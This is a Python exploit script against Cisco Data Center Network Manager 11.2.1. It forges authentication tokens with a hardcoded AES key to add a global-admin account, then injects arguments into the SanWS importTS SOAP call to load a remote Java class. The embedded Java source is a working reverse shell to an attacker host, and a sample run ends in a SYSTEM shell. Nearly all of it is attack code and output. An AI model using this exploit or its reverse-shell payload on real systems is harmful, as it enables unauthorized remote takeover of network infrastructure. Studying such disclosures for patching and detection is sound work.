1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 |
#!/usr/bin/python """ Cisco Data Center Network Manager SanWS importTS Command Injection Remote Code Execution Vulnerability Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit) - Release: 11.2(1) - Release Date: 18-Jun-2019 - FileName: dcnm-installer-x64-windows.11.2.1.exe.zip - Size: 1619.36 MB (1698022100 bytes) - MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5 Bug 1: CVE-2019-15975 / ZDI-20-003 Bug 2: CVE-2019-15979 / ZDI-20-100 Notes: ====== Si.java needs to be compiled against Java 8 (the target used 1.8u201): import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Si { static{ try { String host = "192.168.100.159"; int port = 1337; String cmd = "cmd.exe"; Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s = new Socket(host,port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while(!s.isClosed()){ while(pi.available()>0){ so.write(pi.read()); } while(pe.available()>0){ so.write(pe.read()); } while(si.available()>0){ po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; }catch (Exception e){} } p.destroy(); s.close(); }catch (IOException | InterruptedException e){ } } } Example: ======== 1. Modify the above Si.java to contain your connectback ip and port 2. Compile the above Si.java class with Java 8 and store it in an attacker controlled share 3. Launch the poc.py against your target using the share saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <target> <connectback:port> <smbserver> <smbpath> (+) eg: ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools' saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools' (+) attempting auth bypass 1 (+) bypassed auth! added a global admin hacker:Hacked123 (+) attempting to load class from \\vmware-host\Shared Folders\tools\Si.class (+) starting handler on port 1337 (+) connection from 192.168.100.122 (+) pop thy shell! Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami whoami nt authority\system C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service> """ import re import os import sys import time import base64 import socket import requests import calendar import telnetlib from uuid import uuid4 from threading import Thread from Crypto.Cipher import AES from xml.etree import ElementTree from datetime import datetime, timedelta from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class AESCipher: def __init__(self): # Cisco's hardcoded key self.key = "s91zEQmb305F!90a" self.bs = 16 def _pad(self, s): return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) def encrypt(self, raw): raw = self._pad(raw) iv = "\x00" * 0x10 cipher = AES.new(self.key, AES.MODE_CBC, iv) return base64.b64encode(cipher.encrypt(raw)) def make_raw_token(target): """ craft our token """ key = "Source Incite" uuid = str(uuid4()).replace("-","")[0:20] time = leak_time(target) return "%s-%s-%s" % (key, uuid, time) def bypass_auth(target, token, usr, pwd): """ we use this primitive to fully bypass auth """ global user_added_already d = { "userName" : usr, "password" : pwd, "roleName" : "global-admin" } h = { "afw-token" : token } uri = "https://%s/fm/fmrest/dbadmin/addUser" % target r = requests.post(uri, data=d, headers=h, verify=False) try: json = r.json() except ValueError: return False if json["resultMessage"] == "Success": user_added_already = False return True elif json["resultMessage"] == "User already exists.": user_added_already = True return True return False def leak_time(target): """ leak the time from the server (not really needed) """ uri = "https://%s/" % target r = requests.get(uri, verify=False) r_time = datetime.strptime(r.headers['Date'][:-4], '%a, %d %b %Y %H:%M:%S') return calendar.timegm(r_time.timetuple()) def gen_token(target, usr, pwd): """ this authenticates via the SOAP endpoint """ soap_body= '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.jaxws.dcbu.cisco.com/">' soap_body += '\t<soapenv:Header/>' soap_body += '\t<soapenv:Body>' soap_body += '\t\t<ep:requestToken>' soap_body += '\t\t\t<username>%s</username>' % usr soap_body += '\t\t\t<password>%s</password>' % pwd soap_body += '\t\t\t<expiration>100000</expiration>' soap_body += '\t\t</ep:requestToken>' soap_body += '\t</soapenv:Body>' soap_body += '</soapenv:Envelope>' uri = "https://%s/LogonWSService/LogonWS" % target r = requests.post(uri, data=soap_body, verify=False) tree = ElementTree.fromstring(r.content) for elem in tree.iter(): if elem.tag == "return": return elem.text return False def craft_soap_header(target, usr, pwd): """ this generates the soap header """ soap_header= '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' soap_header += '<m:token xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:token>' % gen_token(target, usr, pwd) soap_header += '\t</SOAP-ENV:Header>' return soap_header def load_remote_class(target, smb, usr, pwd): """ this triggers the cmdi """ soap_body= '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">' soap_body += craft_soap_header(target, usr, pwd) soap_body += '\t<soapenv:Body>' soap_body += '\t\t<ep:importTS>' soap_body += '\t\t\t<certFile>" -providerclass Si -providerpath "%s</certFile>' % smb soap_body += '\t\t\t<serverIPAddress></serverIPAddress>' soap_body += '\t\t</ep:importTS>' soap_body += '\t</soapenv:Body>' soap_body += '</soapenv:Envelope>' uri = "https://%s/SanWSService/SanWS" % target r = requests.post(uri, data=soap_body, verify=False) tree = ElementTree.fromstring(r.content) for elem in tree.iter(): if elem.tag == "resultMessage": if elem.text == "Success": return True return False def handler(lp): print "(+) starting handler on port %d" % lp t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print"(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def exec_code(t, lp, s, usr, pwd): handlerthr = Thread(target=handler, args=(lp,)) handlerthr.start() load_remote_class(t, s, usr, pwd) def main(): usr = "hacker" pwd = "Hacked123" if len(sys.argv) != 5: print "(+) usage: %s <target> <connectback:port> <smbserver> <smbpath>" % sys.argv[0] print "(+) eg: %s 192.168.100.122 192.168.100.159:1337 vmware-host '\\Shared Folders\\tools'" % sys.argv[0] sys.exit(1) t = sys.argv[1] c = sys.argv[2] s = "\\\\%s%s" % (sys.argv[3], sys.argv[4]) i = 0 if not ":" in c: print "(+) using default connectback port 4444" ls = c lp = 4444 else: if not c.split(":")[1].isdigit(): print "(-) %s is not a port number!" % cb.split(":")[1] sys.exit(-1) ls = c.split(":")[0] lp = int(c.split(":")[1]) # InheritableThreadLocal.childValue performs a 'shallow copy' and causes a small race condition while 1: i += 1 print "(+) attempting auth bypass %d" % i raw = make_raw_token(t) cryptor = AESCipher() token = cryptor.encrypt(raw) if bypass_auth(t, token, usr, pwd): if not user_added_already: print "(+) bypassed auth! added a global admin %s:%s" % (usr, pwd) else: print "(+) we probably already bypassed auth! try the account %s:%s" % (usr, pwd) break sys.stdout.write('\x1b[1A') sys.stdout.write('\x1b[2K') # we have bypassed the authentication at this point print "(+) attempting to load class from %s\\Si.class" % s exec_code(t, lp, s, usr, pwd) if __name__ == "__main__": main() |